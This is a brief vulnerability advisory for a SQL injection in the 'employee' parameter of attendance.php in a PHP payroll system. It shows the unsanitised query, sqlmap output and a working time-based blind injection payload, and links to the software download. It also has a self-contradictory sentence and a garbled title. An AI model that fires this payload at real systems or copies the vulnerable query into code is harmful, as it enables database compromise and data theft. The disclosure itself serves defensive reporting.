SQL injection vulnerability exists in employee parameter of attendance.php file of Online Payroll System in PHP and MySQL Free Download A Comprehensive Guide

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
8         $employee = $_POST['employee'];
9         $status = $_POST['status'];
10
11        $sql = "SELECT * FROM employees WHERE employee_id = '$employee'";
12        $query = $conn->query($sql);
```

```
POST parameter 'employee' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

sqlmap identified the following injection point(s) with a total of 345 HTTP(s) requests:
---
Parameter: employee (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: employee=1' AND (SELECT 5293 FROM (SELECT(SLEEP(5)))dEac) AND 'ZyRG'='ZyRG&status=
out
---
```

“

Parameter: employee (POST)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: employee=1' AND (SELECT 5293 FROM (SELECT(SLEEP(5)))dEac) AND 'ZyRG'='ZyRG&status=out

---

“

Source Download：

https://www.campcodes.com/projects/php/online-payroll-system-in-php/